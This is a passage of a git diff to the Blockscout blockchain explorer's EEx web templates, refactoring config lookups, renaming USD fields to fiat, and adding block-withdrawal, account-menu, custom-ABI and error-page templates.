Call<%= text %>
+ <%= render BlockScoutWeb.LogView, "_data_decoded_view.html", mapping: mapping %> + <% {:error, :contract_not_verified, results} -> %> + <%= for {:ok, method_id, text, mapping} <- results do %> +
<%= gettext "Decoded" %>
+
+ + + + + + + + + +
Method Id0x<%= method_id %>
Call<%= text %>
+ <%= render BlockScoutWeb.LogView, "_data_decoded_view.html", mapping: mapping %> <% end %> - <% _ -> %> - <%= nil %> <% end %>
<%= gettext "Topics" %>
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_logs/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_logs/index.html.eex index d4ef3d3ccbdf..5b8058fdeeb0 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_logs/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_logs/index.html.eex @@ -1,12 +1,12 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
<%= render BlockScoutWeb.AddressView, "_tabs.html", address: @address, is_proxy: is_proxy, conn: @conn %> -
+

<%= gettext "Logs" %>

diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_read_contract/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_read_contract/index.html.eex index 7631094bfb25..afd3ab3a7d75 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_read_contract/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_read_contract/index.html.eex @@ -1,17 +1,58 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
<%= render BlockScoutWeb.AddressView, "_tabs.html", address: @address, is_proxy: is_proxy, conn: @conn %> - -
-
- <%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html", loading_text: gettext("Loading...") %> + <%= if @need_wallet do %> +
+ <%= render BlockScoutWeb.SmartContractView, "_connect_container.html" %>
-
+ <% end %> + <%= if @non_custom_abi && assigns[:custom_abi] do %> + + <% else %> + <%= if assigns[:custom_abi] do %> +

<%= gettext "Custom ABI from account" %>

+ <% end %> + <% end %> + <%= + for status <- ["error", "warning", "success", "question"] do + render BlockScoutWeb.CommonComponentsView, "_modal_status.html", status: status + end + %> + <%= render BlockScoutWeb.SmartContractView, "_pending_contract_write.html" %> + <%= if @non_custom_abi && assigns[:custom_abi] do %> +
+ <% end %> + <%= if @non_custom_abi do %> + +
+
+ <%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html", loading_text: gettext("Loading...") %> +
+
+ <% end %> + <%= if assigns[:custom_abi] do %> + +
" id="custom" role="tabpanel" aria-labelledby="custom-tab" data-smart-contract-functions-custom data-hash="<%= to_string(@address.hash) %>" data-type="<%= @type %>" data-action="<%= @action %>" data-url="<%= smart_contract_path(@conn, :index) %>"> +
+ <%= render BlockScoutWeb.CommonComponentsView, "_loading_spinner.html", loading_text: gettext("Loading...") %> +
+
+ <% end %> + <%= if @non_custom_abi && assigns[:custom_abi] do %> +
+ <% end %>
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_read_proxy/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_read_proxy/index.html.eex index 7631094bfb25..efe8695dec76 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_read_proxy/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_read_proxy/index.html.eex @@ -1,8 +1,8 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
<%= render BlockScoutWeb.AddressView, "_tabs.html", address: @address, is_proxy: is_proxy, conn: @conn %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_token/_tokens.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_token/_tokens.html.eex index aad847fb1c16..bb5ac9df2210 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_token/_tokens.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_token/_tokens.html.eex @@ -2,7 +2,7 @@ - <%= if System.get_env("DISPLAY_TOKEN_ICONS") === "true" do %> + <%= if Application.get_env(:block_scout_web, :display_token_icons) do %> <% chain_id_for_token_icon = Application.get_env(:block_scout_web, :chain_id) %> <% address_hash = @token.contract_address_hash %> <%= @@ -17,7 +17,7 @@ <%= link( to: address_token_transfers_path(@conn, :index, to_string(@address.hash), to_string(@token.contract_address_hash)), class: "tile-title-lg", - "data-test": "token_transfers_#{@token_balance.token.contract_address_hash}" + "data-test": "token_transfers_#{@token.contract_address_hash}" ) do %> <%= token_name(@token) %> <% end %> @@ -33,14 +33,14 @@

- <% token_price = if @token_balance.token.usd_value, do: @token_balance.token.usd_value, else: nil %> - <%= ChainView.format_currency_value(token_price, "@") %> + <% token_price = @token.fiat_value %> + <%= ChainView.format_currency_value(token_price, "@") %>

- <%= if @token_balance.token.usd_value do %> + <%= if token_price && @token.decimals do %>

- <%= ChainView.format_usd_value(Chain.balance_in_usd(@token_balance)) %> + <%= ChainView.format_usd_value(Chain.balance_in_fiat(@token_balance)) %>

<% end %> @@ -55,4 +55,4 @@ end %> - \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_token/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_token/index.html.eex index 8c682078ac4e..4ecd808911b9 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_token/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_token/index.html.eex @@ -1,7 +1,7 @@
- <% is_proxy = BlockScoutWeb.AddressView.smart_contract_is_proxy?(@address) %> + <% is_proxy = SmartContractHelper.address_is_proxy?(@address) %> - <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path %> + <%= render BlockScoutWeb.AddressView, "overview.html", address: @address, is_proxy: is_proxy, conn: @conn, exchange_rate: @exchange_rate, coin_balance_status: @coin_balance_status, counters_path: @counters_path, tags: @tags %>
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_token/overview.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_token/overview.html.eex index 11da76cfc8df..a8c4ad448c2c 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_token/overview.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_token/overview.html.eex @@ -1,27 +1,27 @@ -<% native_coin = gettext("ETH") %> +<% native_coin = Explorer.coin_name() %> <% wei_value = if @address.fetched_coin_balance, do: @address.fetched_coin_balance.value %> <% raw_usd_value = - case @exchange_rate.usd_value do + case @exchange_rate.fiat_value do %Decimal{} -> if wei_value do %Wei{value: Decimal.new(wei_value)} |> Wei.to(:ether) - |> Decimal.mult(@exchange_rate.usd_value) + |> Decimal.mult(@exchange_rate.fiat_value) else Decimal.new(0) end _ -> Decimal.new(0) end %> -<% data_usd_exchange_rate = +<% data_usd_exchange_rate = unless AddressView.empty_exchange_rate?(@exchange_rate) do - "data-usd-exchange-rate='#{@exchange_rate.usd_value}' data-raw-usd-value='#{raw_usd_value}'" + "data-usd-exchange-rate='#{@exchange_rate.fiat_value}' data-raw-usd-value='#{raw_usd_value}'" end %> <% native_coin_balance_token = AddressView.balance(@address) %> -<% native_coin_balance_usd = +<% native_coin_balance_usd = if AddressView.empty_exchange_rate?(@exchange_rate) do nil else @@ -32,7 +32,7 @@ " end %> -<% native_coin_balance = +<% native_coin_balance = if native_coin_balance_usd do native_coin_balance_usd <> " | " <> native_coin_balance_token else @@ -70,4 +70,4 @@ classes: ["fs-14"], container_classes: ["d-none"] %> -
\ No newline at end of file +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex index d0c1adf6367f..2096d38a7cb7 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_token_balances.html.eex @@ -23,7 +23,7 @@ <% else %> - + @@ -43,11 +43,11 @@ :token_search, :name, class: "w-100 dropdown-search-field", - 'data-filter-dropdown-tokens': true, + "data-filter-dropdown-tokens": true, placeholder: gettext("Search tokens") ) %>
- <%= if Enum.any?(@token_balances, fn {token_balance, _} -> token_balance.token.type == "ERC-721" end) do %> + <%= if Enum.any?(@token_balances, fn token_balance -> token_balance.token.type == "ERC-721" end) do %> <%= render( "_tokens.html", conn: @conn, @@ -56,7 +56,7 @@ ) %> <% end %> - <%= if Enum.any?(@token_balances, fn {token_balance, _} -> token_balance.token.type == "ERC-1155" end) do %> + <%= if Enum.any?(@token_balances, fn token_balance -> token_balance.token.type == "ERC-1155" end) do %> <%= render( "_tokens.html", conn: @conn, @@ -65,7 +65,7 @@ ) %> <% end %> - <%= if Enum.any?(@token_balances, fn {token_balance, _} -> token_balance.token.type == "ERC-20" end) do %> + <%= if Enum.any?(@token_balances, fn token_balance -> token_balance.token.type == "ERC-20" end) do %> <%= render( "_tokens.html", conn: @conn, diff --git a/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_tokens.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_tokens.html.eex index 753460e78fa5..1350b792df96 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_tokens.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/address_token_balance/_tokens.html.eex @@ -3,7 +3,7 @@ <%= @type %> (<%= Enum.count(@token_balances)%>) - <%= for {token_balance, token} <- sort_by_usd_value_and_name(@token_balances) do %> + <%= for token_balance <- @token_balances do %>
- <%= if System.get_env("HIDE_BLOCK_MINER") !== "true" do %> + <%= if !Application.get_env(:block_scout_web, :hide_block_miner) do %>
<%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", @@ -161,15 +161,17 @@
<%= @block.difficulty |> Decimal.to_integer() |> BlockScoutWeb.Cldr.Number.to_string! %>
<%= if block_type(@block) == "Block" do %> - -
-
- <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Total difficulty of the chain until this block.") %> - <%= gettext("Total Difficulty") %> -
-
<%= @block.total_difficulty |> Decimal.to_integer() |> BlockScoutWeb.Cldr.Number.to_string! %>
-
+ <%= if !is_nil(@block.total_difficulty) do %> + +
+
+ <%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", + text: gettext("Total difficulty of the chain until this block.") %> + <%= gettext("Total Difficulty") %> +
+
<%= @block.total_difficulty |> Decimal.to_integer() |> BlockScoutWeb.Cldr.Number.to_string! %>
+
+ <% end %>
@@ -212,10 +214,10 @@
<%= render BlockScoutWeb.CommonComponentsView, "_i_tooltip_2.html", - text: gettext("Ether") <> " " <> gettext("burned from transactions included in the block (Base fee (per unit of gas) * Gas Used).") %> + text: Explorer.coin_name() <> " " <> gettext("burnt from transactions included in the block (Base fee (per unit of gas) * Gas Used).") %> <%= gettext("Burnt Fees") %>
-
<%= format_wei_value(burned_fee, :ether) %>
+
<%= format_wei_value(burnt_fees, :ether) %>
@@ -226,7 +228,7 @@
<%= format_wei_value(%Wei{value: priority_fee}, :ether) %>
- <% end %> + <% end %> <%= if show_reward?(@block.rewards) do %>
<%= for block_reward <- @block.rewards do %> @@ -268,4 +270,4 @@
-<%= render BlockScoutWeb.Advertisement.BannersAdView, "_banner_728.html", conn: @conn %> +<%= render BlockScoutWeb.Advertisement.BannersAdView, "_banner_728.html", conn: @conn %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/404.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/404.html.eex index 5f87d8debbf5..84fe3df3aa39 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/404.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/404.html.eex @@ -10,4 +10,4 @@
- \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/index.html.eex index c3f9ab4e25e7..d4c91eff4ab3 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/block_transaction/index.html.eex @@ -4,16 +4,8 @@
-
- <%= - link( - gettext("Transactions"), - class: "card-tab #{tab_status("transactions", @conn.request_path)}", - to: block_transaction_path(@conn, :index, @conn.params["block_hash_or_number"]) - ) - %> -
- + <%= render BlockScoutWeb.BlockView, "_tabs.html", assigns %> +
<%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_metatags.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_metatags.html.eex new file mode 100644 index 000000000000..bff7f9460c87 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_metatags.html.eex @@ -0,0 +1 @@ +<%= render BlockScoutWeb.BlockView, "_metatags.html", conn: @conn, block: @block %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_withdrawal.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_withdrawal.html.eex new file mode 100644 index 000000000000..5a9ff7c43918 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/_withdrawal.html.eex @@ -0,0 +1,23 @@ + + + + <%= @withdrawal.index %> + + + + <%= @withdrawal.validator_index %> + + + + <%= render BlockScoutWeb.AddressView, + "_link.html", + address: @withdrawal.address, + contract: Address.smart_contract?(@withdrawal.address), + use_custom_tooltip: false + %> + + + + <%= format_wei_value(@withdrawal.amount, :ether) %> + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/index.html.eex new file mode 100644 index 000000000000..43c451584828 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/block_withdrawal/index.html.eex @@ -0,0 +1,54 @@ +
+ + <%= render BlockScoutWeb.BlockView, "overview.html", assigns %> + +
+
+ <%= render BlockScoutWeb.BlockView, "_tabs.html", assigns %> + +
+ + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "top", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> + + + +
+
+ + + + + + + + + + + <%= render BlockScoutWeb.CommonComponentsView, "_table-loader.html", columns_num: 4 %> + +
+
<%= gettext "Index" %>
+
+
<%= gettext "Validator index" %>
+
+
<%= gettext "To" %>
+
+
<%= gettext "Amount" %>
+
+
+
+ +
+
+ <%= gettext "There are no withdrawals for this block." %> +
+
+ + <%= render BlockScoutWeb.CommonComponentsView, "_pagination_container.html", position: "bottom", cur_page_number: "1", show_pagination_limit: true, data_next_page_button: true, data_prev_page_button: true %> + +
+ +
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/chain/_block.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/chain/_block.html.eex index e1551fd42c2b..ff6445535c69 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/chain/_block.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/chain/_block.html.eex @@ -11,7 +11,7 @@ <%= gettext("%{count} Transactions", count: Enum.count(@block.transactions)) %>
- <%= if System.get_env("HIDE_BLOCK_MINER") !== "true" do %> + <%= if !Application.get_env(:block_scout_web, :hide_block_miner) do %>
<%= gettext "Miner" %> <%= render BlockScoutWeb.AddressView, diff --git a/apps/block_scout_web/lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex index 4b84dce35873..f07899ea9bf8 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/chain/gas_price_oracle_legend_item.html.eex @@ -8,7 +8,7 @@
-
<%= "#{gas_prices_from_oracle["average"]}" <> " " %><%= gettext "Gwei" %>
+
<%= "#{gas_prices_from_oracle[:average]}" <> " " %><%= gettext "Gwei" %>
-
<%= gettext "Slow" %><%= gas_prices_from_oracle["slow"] %> <%= gettext "Gwei" %>
-
<%= gettext "Average" %><%= gas_prices_from_oracle["average"] %> <%= gettext "Gwei" %>
-
<%= gettext "Fast" %><%= gas_prices_from_oracle["fast"] %> <%= gettext "Gwei" %>
+
<%= gettext "Slow" %><%= gas_prices_from_oracle[:slow] %> <%= gettext "Gwei" %>
+
<%= gettext "Average" %><%= gas_prices_from_oracle[:average] %> <%= gettext "Gwei" %>
+
<%= gettext "Fast" %><%= gas_prices_from_oracle[:fast] %> <%= gettext "Gwei" %>
" > @@ -40,4 +40,4 @@ <% end %> <% end %>
-
\ No newline at end of file +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/chain/show.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/chain/show.html.eex index 07e77ebefb40..c0156a2cdbf5 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/chain/show.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/chain/show.html.eex @@ -27,26 +27,27 @@ document.documentElement.style.setProperty("--numChartData", numChartData);
- <%= if Map.has_key?(@chart_config, :market) do %> + <% price_chart_legend_enabled? = Application.get_env(:block_scout_web, :chart)[:price_chart_legend_enabled?] %> + <%= if Map.has_key?(@chart_config, :market) || price_chart_legend_enabled? do %> <%# THE FOLLOWING LINE PREVENTS COPY/PASTE ERRORS %> - <%# Explicity put @chart_config.market in a variable %> + <%# Explicitly put @chart_config.market in a variable %> <%# This is done so that when people add a new chart source, x, %> - <%# They wont just access @chart_config.x w/o first checking if x exists%> - <% market_chart_config = @chart_config.market%> + <%# They wont just access @chart_config.x w/o first checking if x exists %> + <% market_chart_config = Map.has_key?(@chart_config, :market) && @chart_config.market%> - <%= if Enum.member?(market_chart_config, :price) do %> + <%= if price_chart_legend_enabled? || Enum.member?(market_chart_config, :price) do %>
<%= Explorer.coin_name() %> <%= gettext "Price" %>
- +
<% end %> - <%= if Enum.member?(@chart_config.market, :market_cap) do %> + <%= if price_chart_legend_enabled? || Enum.member?(@chart_config.market, :market_cap) do %>
<%= gettext "Market Cap" %> @@ -91,18 +92,20 @@
- <%= case @average_block_time do %> - <% {:error, :disabled} -> %> - <%= nil %> - <% average_block_time -> %> -
- - <%= gettext "Average block time" %> - - - <%= Timex.format_duration(average_block_time, Explorer.Counters.AverageBlockTimeDurationFormat) %> - -
+ <%= unless Application.get_env(:explorer, :chain_type) == :optimism do %> + <%= case @average_block_time do %> + <% {:error, :disabled} -> %> + <%= nil %> + <% average_block_time -> %> +
+ + <%= gettext "Average block time" %> + + + <%= Timex.format_duration(average_block_time, Explorer.Chain.Cache.Counters.Helper.AverageBlockTimeDurationFormat) %> + +
+ <% end %> <% end %>
@@ -171,7 +174,7 @@ diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_btn_copy.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_btn_copy.html.eex index d36e97feccb7..135fe488e534 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_btn_copy.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_btn_copy.html.eex @@ -11,4 +11,4 @@ - \ No newline at end of file + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_csv_export_button.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_csv_export_button.html.eex index 9fd19339cfbe..b0d98d362b41 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_csv_export_button.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_csv_export_button.html.eex @@ -1,5 +1,7 @@ -
- Download @address, "type" => @type }) %>><%= gettext("CSV") %> +<% filter_type = if assigns[:filter_type], do: @filter_type, else: "" %> +<% filter_value = if assigns[:filter_value], do: @filter_value, else: "" %> +
+ <%= gettext("Download") %> @address, "type" => @type, "filter_type" => filter_type, "filter_value" => filter_value }) %>><%= gettext("CSV") %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_minus.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_minus.html.eex new file mode 100644 index 000000000000..1c08c85c02d0 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_minus.html.eex @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_pen.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_pen.html.eex new file mode 100644 index 000000000000..559468d51879 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_pen.html.eex @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_plus.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_plus.html.eex new file mode 100644 index 000000000000..4f93df8c6d56 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_plus.html.eex @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_trash.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_trash.html.eex new file mode 100644 index 000000000000..7d83186dfce9 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/common_components/_svg_trash.html.eex @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/apps/block_scout_web/lib/block_scout_web/templates/csv_export/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/csv_export/index.html.eex index 98293ccd2005..1f94af15c8e2 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/csv_export/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/csv_export/index.html.eex @@ -10,10 +10,11 @@

<%= gettext "Export Data" %>

-

Export <%= type_display_name(@type) %> for address <%= link( + <% filter_text = if Helper.valid_filter?(@filter_type, @filter_value, @type), do: " with applied filter by #{@filter_type} (#{@filter_value})", else: "" %> +

<%= gettext("Export") %> <%= type_display_name(@type) %> <%= gettext("for address") %> <%= link( @address_hash_string, to: address_path(@conn, :show, @address_hash_string) - ) %> to CSV file

+ ) %><%= filter_text %> <%= gettext("to CSV file") %>

@@ -21,32 +22,24 @@
- +
- - -
\ No newline at end of file + <%= cond do %> + <% Application.get_env(:block_scout_web, :recaptcha)[:v2_client_key] -> %> + + <% Application.get_env(:block_scout_web, :recaptcha)[:v3_client_key] -> %> + + <% true -> %> + <% end %> + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/error422/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/error422/index.html.eex index bbf314d4bb62..fb188f65886c 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/error422/index.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/error422/index.html.eex @@ -1,12 +1,12 @@ -
+
- Page Not Found + Request cannot be processed
-

Unprocessable Entity

-

The request was well-formed but was unable to be followed due to semantic errors. Maybe, you mistype a hash of tx/block/address?

- Back Home +

<%= gettext "Request cannot be processed" %>

+

<%= gettext "Your request contained an error, perhaps a mistyped tx/block/address hash. Try again, and check the developer tools console for more info." %>

+ <%= gettext "Back to home" %>
-
\ No newline at end of file +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/form/_tag.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/form/_tag.html.eex index 54f032df05f8..962284ff61fe 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/form/_tag.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/form/_tag.html.eex @@ -1,3 +1,3 @@
"> <%= @text %> -
\ No newline at end of file +
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/icons/_blockchain_icon.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/icons/_blockchain_icon.html.eex new file mode 100644 index 000000000000..f8234731c29d --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/icons/_blockchain_icon.html.eex @@ -0,0 +1,3 @@ + + + diff --git a/apps/block_scout_web/lib/block_scout_web/templates/internal_server_error/index.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/internal_server_error/index.html.eex new file mode 100644 index 000000000000..df7ff8c5a0f5 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/internal_server_error/index.html.eex @@ -0,0 +1,12 @@ +
+
+
+ Internal server error +
+
+

<%= gettext "Internal server error" %>

+

<%= gettext "An unexpected error has occurred. Try reloading the page, or come back soon and try again." %>

+ <%= gettext "Back to home" %> +
+
+
diff --git a/apps/block_scout_web/lib/block_scout_web/templates/internal_transaction/_tile.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/internal_transaction/_tile.html.eex index b7ae6e7f2fd3..3c23ba78c6fa 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/internal_transaction/_tile.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/internal_transaction/_tile.html.eex @@ -15,13 +15,13 @@
<%= render BlockScoutWeb.TransactionView, "_link.html", transaction_hash: @internal_transaction.transaction_hash %> - <%= @internal_transaction |> BlockScoutWeb.AddressView.address_partial_selector(:from, assigns[:current_address]) |> (&(if is_list(&1), do: Keyword.put(&1, :ignore_implementation_name, true), else: &1)).() |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @internal_transaction |> BlockScoutWeb.AddressView.address_partial_selector(:from, assigns[:current_address]) |> (&(if is_list(&1), do: Keyword.put(&1, :ignore_implementation_name, true), else: &1)).() |> BlockScoutWeb.RenderHelper.render_partial() %> → - <%= @internal_transaction |> BlockScoutWeb.AddressView.address_partial_selector(:to, assigns[:current_address]) |> (&(if is_list(&1), do: Keyword.put(&1, :ignore_implementation_name, true), else: &1)).() |> BlockScoutWeb.RenderHelpers.render_partial() %> + <%= @internal_transaction |> BlockScoutWeb.AddressView.address_partial_selector(:to, assigns[:current_address]) |> (&(if is_list(&1), do: Keyword.put(&1, :ignore_implementation_name, true), else: &1)).() |> BlockScoutWeb.RenderHelper.render_partial() %> - <%= BlockScoutWeb.TransactionView.value(@internal_transaction, include_label: false) %> <%= gettext "Ether" %> + <%= BlockScoutWeb.TransactionView.value(@internal_transaction, include_label: false) %> <%= Explorer.coin_name() %>
@@ -33,7 +33,7 @@ to: block_path(BlockScoutWeb.Endpoint, :show, @internal_transaction.block_number) ) %> - + <%= if assigns[:current_address] do %> <%= if assigns[:current_address].hash == @internal_transaction.from_address_hash do %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/_account_menu_item.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/_account_menu_item.html.eex new file mode 100644 index 000000000000..1c7446f20c98 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/_account_menu_item.html.eex @@ -0,0 +1,36 @@ +<%= if Explorer.Account.enabled?() do %> + <%= if @current_user do %> + + <% else %> +
  • + +
  • + <% end %> +<% end %> diff --git a/apps/block_scout_web/lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex b/apps/block_scout_web/lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex index f6cae48b98d4..469a398ecd2d 100644 --- a/apps/block_scout_web/lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex +++ b/apps/block_scout_web/lib/block_scout_web/templates/layout/_add_chain_to_mm.html.eex @@ -1,13 +1,13 @@ - - -<% sub_network = Keyword.get(Application.get_env(:block_scout_web, BlockScoutWeb.Chain), :subnetwork) %> - - -
  • - - <%= gettext("Add") <> " #{sub_network}" %> - -
  • \ No newline at end of file +<%= unless Application.get_env(:block_scout_web, :disable_add_to_mm_button) do %> + + <% sub_network = Keyword.get(Application.get_env(:block_scout_web, BlockScoutWeb.Chain), :subnetwork) %> + +
  • + + <%= gettext("Add") <> " #{sub_network}" %> + +
